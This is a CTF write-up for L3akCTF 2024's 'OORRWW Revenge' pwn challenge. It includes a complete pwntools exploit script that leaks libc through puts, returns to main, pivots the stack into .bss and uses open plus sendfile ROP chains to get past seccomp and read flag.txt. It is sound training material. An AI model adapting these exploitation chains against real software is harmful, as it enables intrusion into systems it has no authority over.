L3akCTF 2024 - [PWN] OORRWW Revenge
Difficulty : ⭐⭐
OORRWW Revenge != OORRWW
Although the challenges are similar, here are their differences :
- No more leaks of stack address or LIBC function :
- The payload will be longer (its size increased from 22 bytes to 30 bytes)
- PIE is OFF. I will again assume that ASLR is ON :
Leak __isoc99_scanf manually
According to oorrww, I know where the vulnerability is and I know what to do.
However, there are no more leaks. I need to do ret2libc by leaking a function address myself.
Why not using puts()
to leak __isoc99_scanf()@GOT
again ?
0x0000000000401203 : pop rax ; ret
0x00000000004012db : mov edi, eax ; call 0x4010c0 ; nop ; pop rbp ; ret
These two gadgets are perfect since 0x4010c0
points to puts@plt
.
As you can see in this pwndbg session
__isoc99_scanf@PLT
address is0x401100
which is less than 4-bytes long.
It will fit in a 4 bytes register (EAX and EDI)
I used this payload for leaking data (using functions from oorrww payload):
payload = [b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-", # canary
b"-", # rbp
int2bytes(POP_RAX_RET), # ret
int2bytes(elf.got["__isoc99_scanf"]),
int2bytes(MOV_EDI_EAX_PUTS),
b"-",
b"-",
b"-",
b"-",
b"-",
b"-" ]
Ret2Main
There are no stack address leak as the first challenge… And I have 40 bytes left for my payload, which is not enough.
Let’s do ret2main to start again with LIBC leak :
Oops, SIGSEGV !
I need to be careful to stack alignment issues. Here is the new payload :
payload = [b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-", # canary
b"-", # rbp
int2bytes(POP_RAX_RET), # ret
int2bytes(elf.got["__isoc99_scanf"]),
int2bytes(MOV_EDI_EAX_PUTS),
b"-", # pop rbp from previous gadget
int2bytes(RET), # align the stack to 16 bytes
int2bytes(elf.sym["main"]),
b"-",
b"-",
b"-" ]
Second round : writing payload in STDIN
Because I have no leak of stack address and no more space (56 bytes are not enough), my idea was to continue writing somewhere using more bytes.
Because PIE is off, I know where is data segment and I can continue writing my payload inside. I have LIBC leak so I can use this function :
read(0, 0x404020, 0x500); // 0x500 bytes should be enough
Here are the gadgets found in libc.so.6 :
0x00000000001741a2 : pop rdi ; ret
0x0000000000164bbb : pop rsi ; ret
0x0000000000174e4e : pop rdx ; pop rbx ; ret
And the second payload to allow injecting bytes into data segment :
payload = [b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-", # canary
int2bytes(0x404028), # rbp -> stack pivoting (RSP = 0x404030)
int2bytes(POP_RDI_RET), # ret
int2bytes(0),
int2bytes(POP_RSI_RET),
int2bytes(0x404020),
int2bytes(POP_RDX_RBX_RET),
int2bytes(0x500),
int2bytes(0x500),
int2bytes(base + libc.sym["read"]),
int2bytes(LEAVE_RET), # stack pivoting (rsp = rbp -> 0x404030)
]
Now, I can write 1280 bytes of data in 0x404020
and redirect RSP at 0x404030
using stack pivoting technique.
Thanks to stack pivoting, RSP is now pointing to data segment !
I let 16 bytes between RSP and RBP to write “flag.txt\0”.
I no longer usescanf("%lf",...);
: Ican write raw bytes instead of double floating points.
Third round : seccomp bypass
Then, all I need to do is to bypass seccomp with open
and sendfile
. The last payload is quite the same as oorrww :
payload = [b"flag.txt", # "flag.txt"
p64(0), # "\0" for the end of "flag.txt"
p64(POP_RAX_RET), # RAX = 2
p64(2),
p64(POP_RDI_RET), # RDI = buffer -> &"flag.txt\0"
p64(0x404020),
p64(POP_RSI_RET), # RSI = O_RDONLY -> 2
p64(2),
p64(SYSCALL_RET), # open("flag.txt\0",O_RDONLY);
p64(POP_RDI_RET), # RDI = 1 -> stdout
p64(1),
p64(POP_RSI_RET), # RSI = 3 (I assume it is the file descriptor of opened file)
p64(3),
p64(POP_RDX_POP_RBX_RET), # RDX = 0 -> offset
# RBX = 0 (junk)
p64(0),
p64(0),
p64(POP_RCX_RET), # RCX = 0x50
p64(0x50),
p64(base + libc.sym["sendfile"]), # sendfile(1,3,0,0x50);
]
Final payload
I have no longer access to remote machine because I couldn’t complete the challenge on time.
This is why I’m doing it locally but it should work remotely.
Here is the final payload :
># ===============================================[ Module Imports ]===============================================
from pwn import *
from decimal import Decimal
import struct
# =====================================[ Load ELF binary and start process ]======================================
elf = ELF("./oorrww_revenge_patched",checksec=False)
libc = ELF("libc.so.6",checksec=False)
io = process([elf.path],env={"LD_PRELOAD": libc.path})
# ==================================================[ Functions ]=================================================
def int2double(x):
return struct.unpack('d',p64(x))[0]
def double2bytes(x):
return str(x).encode("utf-8")
def int2bytes(x):
return double2bytes(int2double(x))
def bytes2doublebytes(x):
return double2bytes(struct.unpack('d',x)[0])
# ========================================[ oorrww_revenge_patched Gadgets ]======================================
MOV_EDI_EAX_PUTS = 0x00000000004012db
POP_RAX_RET = 0x0000000000401203
RET = 0x000000000040101a
# ==========================================[ First payload : leak LIBC ]=========================================
payload = [b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-", # canary
b"-", # rbp
int2bytes(POP_RAX_RET), # ret
int2bytes(elf.got["__isoc99_scanf"]),
int2bytes(MOV_EDI_EAX_PUTS),
b"-", # pop rbp from previous gadget
int2bytes(RET), # align the stack to 16 bytes
int2bytes(elf.sym["main"]),
b"-",
b"-",
b"-",
]
for i in range(len(payload)):
io.recvline()
io.sendline(payload[i])
io.recvline()
leak = io.recvline()[:-1][::-1]
leak = hex(int.from_bytes(leak))
print("[+] Leak __isoc99_scanf @ "+leak)
base = int(leak[2:],16)-libc.sym["__isoc99_scanf"]
print("[+] LIBC base @ "+hex(base))
# ===============================================[ libc.so.6 Gadgets ]============================================
POP_RAX_RET = base + 0x000000000011bec9
POP_RDI_RET = base + 0x00000000001741a2
POP_RSI_RET = base + 0x0000000000164bbb
POP_RDX_POP_RBX_RET = base + 0x0000000000174e4e
POP_RCX_RET = base + 0x000000000003d1ee
LEAVE_RET = base + 0x000000000004da83
SYSCALL_RET = base + 0x0000000000091316
# =======================================[ Second payload : write in .bss ]=======================================
payload = [b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-",
b"-", # canary
int2bytes(0x404028), # rbp -> stack pivoting (RSP = 0x404030)
int2bytes(POP_RDI_RET), # ret
int2bytes(0),
int2bytes(POP_RSI_RET),
int2bytes(0x404020), # .bss address
int2bytes(POP_RDX_POP_RBX_RET),
int2bytes(0x500),
int2bytes(0x500),
int2bytes(base + libc.sym["read"]),
int2bytes(LEAVE_RET), # stack pivoting (rsp = rbp -> 0x404030)
]
for i in range(len(payload)):
io.recvline()
io.sendline(payload[i])
# =======================================[ Third payload : seccomp bypass ]=======================================
payload = [b"flag.txt", # "flag.txt"
p64(0), # "\0" for the end of "flag.txt"
p64(POP_RAX_RET), # RAX = 2
p64(2),
p64(POP_RDI_RET), # RDI = buffer -> &"flag.txt\0"
p64(0x404020),
p64(POP_RSI_RET), # RSI = O_RDONLY -> 2
p64(2),
p64(SYSCALL_RET), # open("flag.txt\0",O_RDONLY);
p64(POP_RDI_RET), # RDI = 1 -> stdout
p64(1),
p64(POP_RSI_RET), # RSI = 3 (I assume it is the file descriptor of opened file)
p64(3),
p64(POP_RDX_POP_RBX_RET), # RDX = 0 -> offset
# RBX = 0 (junk)
p64(0),
p64(0),
p64(POP_RCX_RET), # RCX = 0x50
p64(0x50),
p64(base + libc.sym["sendfile"]), # sendfile(1,3,0,0x50);
]
io.send(b"".join(payload))
# =====================================================[ Flag ]===================================================
io.recvline()
print(b"[+] FLAG : "+io.recv(2048))